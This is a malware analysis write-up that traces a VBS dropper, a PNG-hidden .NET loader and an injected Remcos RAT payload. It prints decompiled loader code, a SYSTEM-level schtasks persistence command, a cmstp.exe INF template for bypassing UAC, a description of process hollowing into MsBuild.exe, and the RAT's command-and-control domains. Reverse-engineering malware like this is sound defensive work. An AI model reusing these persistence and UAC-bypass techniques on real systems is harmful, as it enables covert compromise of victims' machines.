At the time of writing it is around a day that malicious script appeared in wild. To practice and improve myself I chose this malware.

For now in virustotal, it can be seen that malware is only detected by 9 AVs and the server for downloading second payload (png file) is still available to be downloaded.

Starting with analysis, The file's size is really big but only reason for it was repeat of same 10 lines. 1|500

Using ASCII table we can replace all occurrences of these variables with their Char values.

At first it looked like it is only repeating same 10 line for increasing file size (to look legit), but one more reason was probably trying to hide obfuscated code. (Maybe not but only good explanation is this) 1|1000

At first it might not make sense but you can obviously see same pattern repeat in obfuscated code: "⏳लბ⣿༑₫ᨑԿ🖲ᅫҌ⊣ሒȪ⟚"

and payload use categorised(ByVal inputText) function to deobfuscate it. (By removing repeating line) 1|800

In this situation manually writing deobfuscater would be possible to but, it is waste of time. I just changed dozens = categorised(dozens) with WScript.Echo categorised(dozens) (Don't forget to only copy necessary parts in new file to avoid running something dangerous). I ran the code using cscript.exe to see output in my cmd.

1|800

Now to deobfuscate, we need to replace '#' with 'A' and convert base64 to string. Once again instead of using cyberchef I just run powershell code with removing Invoke-Expression and beautify it a little bit. This is the code that downloads second file. (png)

1|800 A day later, the malicious file was deleted from server but I installed it before, so I can continue my analysis. I will also upload file to malware bazaar for anyone that needs it to analyse on his own.

This image file has Data starting with '<<BASE64_START>>' and ends with '<<BASE64_END>>' after decoded it is uploaded to memory but I modified code and used function:

[System.IO.File]::WriteAllBytes("C:\dnlib_image.dll", $cleared)

to save it in a file and when we load this dll to dnspy-x86, it loads it as Microsoft.Win32.TaskScheduler, Version=1.1.0.0 and dnlib inside, which is necessary part of us: 1|800

You can check out Robson Felix's VMDetectorto understand how it works. I modified qemu strings in my system so I have 0 "qemu" string, which helps me avoid detection. this script is really basic as it checks for only "qemu" (easy to stay undetected). Note: Even though this malware has function to check detect vms, it doesn't use it. (if you remember the arguments given when VAI is called, they are necessary part of this function)

In next line we can see the malicious code calling specific function that is interesting for us, VAI.

1|1000

some of the variable names are written in Spanish, which might be a tip for malware writer being Spanish. (Of course, it is not a guarantee)

I have written custom code in C# to be able to manually debug this dll.

The functions, VAI didn't use: persistence, startuptask, startupreg (even though it could). (To make it clear these are not function names, these are variables)

Moving on, startup_onstart is actually used, let's understand what it does. Before understanding the function, I retrivied Hashtable values that are used through dll and saved all of them to single file to make analysis easier.

This is the part we have to analyze now:

if (flag12)
{
	bool flag13 = !File.Exists(Path.Combine(caminho, nomedoarquivo + \uE11C.\uE000(12567) + extençao));
	bool flag14 = flag13;
	if (flag14)
	{
		Process.Start(new ProcessStartInfo
		{
			WindowStyle = ProcessWindowStyle.Hidden,
			FileName = \uE11C.\uE000(12607), // "cmd.exe"
			Arguments = string.Concat(new string[]
			{
				// "/C copy *."
				\uE11C.\uE000(12599),
				// "vbs"
				extençao,
				// " \""
				\uE11C.\uE000(12770),
				//  1. @"C:\ProgramData" 2. "millipascals"
				Path.Combine(caminho, nomedoarquivo), 
				// "."
				\uE11C.\uE000(12567),
				// "vbs"
				extençao,
				// "\""
				\uE11C.\uE000(12282)
			})
		}).WaitForExit();
	}
	Loader.ExecutarMetodoVAI(taskname, caminho, nomedoarquivo, extençao);
}

Basically checks if file exists, if not, starts new process: `cmd.exe /C copy *.vbs "C:\ProgramData\millipascals.vbs" copies the vbs file to its new location.

ExecutarMetodoVAI is called with arguments: "blinkered" @"C:\ProgramData" "millipascals" "vbs"

at first line, function searches for specific string in resources: string text = Array.Find<string>(Assembly.GetExecutingAssembly().GetManifestResourceNames(), new Predicate<string>(Loader.<>c.<>9.\uE000));

When using dnspy, it hides compiler generated types and modules by default which you need to enable.

The (Loader.<>c.<>9.\uE000) sets condition true if "string" ends with "UAC.dll" and in next lines, first stream is loaded into an array and array was loaded to caller program (powershell):

byte[] array;
using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(text))
{
	using (MemoryStream memoryStream = new MemoryStream())
	{
		manifestResourceStream.CopyTo(memoryStream);
		array = memoryStream.ToArray();
	}
}
Assembly assembly = Assembly.Load(array);

and calls "Main" method in UAC.dll (type:UAC.Program).

1|800

Which I will use new custom script to run it and debug manually.

First thing "UAC.dll" does is create a new string: @"cmd.exe /c powershell -Command ""schtasks /Create /TN 'blinkered' /TR 'wscript.exe C:\ProgramData\millipascals.vbs' /SC ONSTART /RL HIGHEST /RU SYSTEM /F""" with given parameters.

  • Generates new inf file under temporary path.
  • Changes "REPLACE_COMMAND_FILE" in private static string INF_TEMPLATE = "[version]\r\nSignature=$chicago$\r\nAdvancedINF=2.5\r\n\r\n[DefaultInstall]\r\nCustomDestination=CustInstDestSectionAllUsers\r\nRunPreSetupCommands=RunPreSetupCommandsSection\r\n\r\n[RunPreSetupCommandsSection]\r\nREPLACE_COMMAND_LINE\r\ntaskkill /IM cmstp.exe /F\r\n\r\n[CustInstDestSectionAllUsers]\r\n49000,49001=AllUSer_LDIDSection, 7\r\n\r\n[AllUSer_LDIDSection]\r\n\"HKLM\", \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\CMMGR32.EXE\", \"ProfileInstallPath\", \"%UnexpectedError%\", \"\"\r\n\r\n[Strings]\r\nServiceName=\"CorpVPN\"\r\nShortSvcName=\"CorpVPN\""; with the command created before.
  • writes this to inf file.

Part 2:

  • Checks if file: "C:\Windows\system32\cmstp.exe" exists.
  • if it does, Start new process: C:\Windows\system32\cmstp.exe /au "<inf_file_path>"
  • Basically creates new process to run at every startup for persistence purposes.
  • Why use cmstp.exe? To avoid some detections.

That's all with UAC.dll, now we have to go back to dnlib.IO.Home.VAI.

To sum up, in next steps malicious dll function launches MsBuild.exe and modifies its code and resumes thread.

  • new process: MsBuild.exe created.
  • Allocate new space
  • Write the malicious program at address: 0x400000

What I did was copy every data that is written and combine them to get a single exe file (Microsoft Visual C++ 8)

copy /b to400000.bin+to401000.bin+to459000.bin+to472000.bin+to478000.bin+to47D000.bin combined.exe

So, the reason malware loads the exe file into MsBuild.exe is actually utilizing its capabilities (and hiding). So it might be possible to debug program alone but it is hard, so I will just debug it inside MsBuild.exe. I also found a key point in code like this: unaff_ESI = FUN_0040e560(0x400000,0,pcVar7); which I guess probably where we need to start from, because inside this function, it is also prossible to clearly see some interesting strings. The strings clearly indicate the capabilities of malware: RAT, keylogger, stealer, logger.

By the way, Remcos RAT is available here to explore its capabilities.

After analyzing the exe file, the key points that can be addressed is:

  1. Malware use GetProcAddress function to find address of the functions it is going to use (which can make static analysis a little bit difficult), but you can basically change heap variable name's function name (for example in ghidra)
  2. Malware keep trying to connect with "relentlesswicked.duckdns.org"/"relentless.webredirect.org", which it can't, because it is down.
  3. The rest is specifically about remcos itself which if needed can be analyzed on its own, and it is not that hard as it is not packed or obfuscated.